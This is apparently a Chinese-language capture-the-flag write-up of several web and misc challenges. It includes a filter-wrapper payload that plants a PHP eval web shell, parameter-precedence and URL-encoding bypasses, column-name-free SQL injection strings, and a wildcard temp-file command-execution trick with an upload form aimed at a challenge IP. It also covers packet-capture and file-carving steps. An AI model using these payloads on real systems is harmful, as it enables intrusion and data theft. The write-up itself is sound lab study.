web01
 $ _SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组 $ _SERVER[‘QUERY_STRING’]指的是位于URL当中“?”之后的所有内容即通过GET方式传入的参数值。 第一个$_SERVER 可以使用url编码绕过,是因为其进行检测的时候不会自动进行url解码 第二个$_SERVER 可以使用POST与GET传参之间的优先级绕过 POST与GET传参优先级 当GET与POST同事传入相同变量时,POST的传参会覆盖掉GET的传参(即当同时有 URLGET ?传参与表单传入同样的参数时,实际上传入的是表单的内容,即 POST 的内容),所以我们只需要 post 传入filename=111&content=111,只要不是字母就行。。。 绕过<?php exit(); ?>用php伪协议绕过 所以对于content的内容应该先进行base64编码,然后进行url编码
GET传参
filename:%66%69%6c%65%6e%61%6d%65 php://filter/write=convert.base64-decode/resource=2.php:%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%32%2e%70%68%70 concent:%63%6f%6e%74%65%6e%74 <?php eval($_POST[a]);?> :aPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+:%61%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%59%56%30%70%4f%7a%38%2b
POST传参
filename=111&content=111
web02
刚开始尝试了各种各样的php读取文件函数,都无回显。
根据ctfshow里面的一个题的题解方式有的思路……
通过造参传参的方式进行绕过 因为这个限制是只针对于通过post形式进行传参的 所以我们通过构造get形式传参可以不受这些条件的限制
构造post:a=$ aa=include("$_get[‘aaa’]");?> 之后我用filter伪协议进行文件读取 
这串base64编码解出来之后是下面的一段代码
<?php
error_reporting(0);
class FLAG {
static function printflag()
{
include('flag.php');
highlight_file('flag.php');
}
}
if(isset($_GET['zz'])){
$z=$_GET['zz'];
if(@stripos($z,':')>1){
die('hacker!');
}
@call_user_func($z);
}
?>
我们可以看到包含了flag.php文件,我们要对它进行读取。 同样也有条件限制,但是因为我们现在所在的页面还是index.php,不是show_flag.php,所以我们仍然可以用之前的方法对flag.php文件进行读取 
这串base64编码解出来之后是一串unicode编码 
找了个在线工具对unicode编码进行解码,又得到了一串base64编码。。。。 再次进行解码,得到flag~

web04
无列名注入
?id=true and linestring(id)
 (在 mysql 数据库中的 ctf_oaa_me 表中存在 id 列)
?id=true and multipolygon((select * from(select * from(select * from (select *from ctf_oaa_me a join ctf_oaa_me b using(id))c)d)e))

爆出username列
?id=true and multipolygon((select * from(select * from(select * from (select *from ctf_oaa_me a join ctf_oaa_me b using(id,username))c)d)e))
 爆出flag_cksjodjanckd列
?id=true and polygon((select * from(select * from(select flag_cksjodjanckd from mysql.ctf_oaa_me)a)b))
 得到flag
web05
显示了说flag在flag.php中,而且需要传一个参数c,随便测试了一下 
出现了php代码,并且过滤了一堆几乎可以使用的读取文件内容的单词以及数字。。 本来我想通过用“?”代替任意字符然后构造参数进行文件读取,试了很多种发现都不太行,最后就差全都是“?”了。。。 然后!发现可以通过无回显rce 来进行绕过 通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。 一般来说这个文件在linux下面保存在/tmp/php???一般后面的6个字符是随机生成的有大小写。 所以我们需要先写一个简易运用post传参的表单,上传一个php文件,通过执行文件内容来获取flag
传参表单:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://114.115.207.198:200/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
php文件:
ls
然后我们需要构造参数c的值:?c=.+/???/???[@-[] (全问号+linux匹配符) (/???/???=/tmp/flag.php) 我们需要先进性抓包然后把参数c的值加进去 
如果一次出不来需要多运行几次,因为一次不一定就可以直接匹配到 我们可以看到有好多个文件,直接奔着flag冲 
啊,原来在另一个文件里,转战另一个文件 
就emmm怎么还有绕过???好像还有两个文件来着,先看看??? 
???flag出来了???原来好奇心不但不会害死猫还会意外得到一个flag
misc 01
(参考珊珊的博客来着) 先用http contains flag 来搜索是否有可用的流量包   我们可以看到这里面有很多东西  在这个流量包里有很多乱码
右键->显示分组字节-右下角开始那里调成3>左下角的显示为调成原始数据->按另存为->记得文件要存成zip格式
然后你就能得到一个压缩包。点进去会发现需要密码。 
在这个步骤里有几个注意点:
- ZIP的文件头:504B0304,RAR的文件头:52617221,所以应该是存成zip而不是rar。
- 储存的时候一定不要直接把->|删掉之后就导出,因为如果不调成原始数据的话可能有些字符转义不了。
- 调成3是为了把->|删掉,->|代表是中国菜刀搞得,如果不删掉就不是压缩包的文件头了
 
或许这个可以通过爆破密码来对flag文件进行读取吧 此处用的是另一种方式,在1150包中追踪http流发现有jpg文件的16进制形式 
 头FFD8和尾FFD9,也就是个.jpg文件 跑了脚本
s='这里输入16进制的数据'
import binascii
out=open('01.jpg','wb')
out.write(binascii.unhexlify(s))
out.close()
获得压缩包密码   获得flag 
misc03
这个题先用winhex扫一下 发现里面有文件 然后更改后缀得到压缩包 解压需要密码 我们使用一个工具对其进行破解  获得flag 
|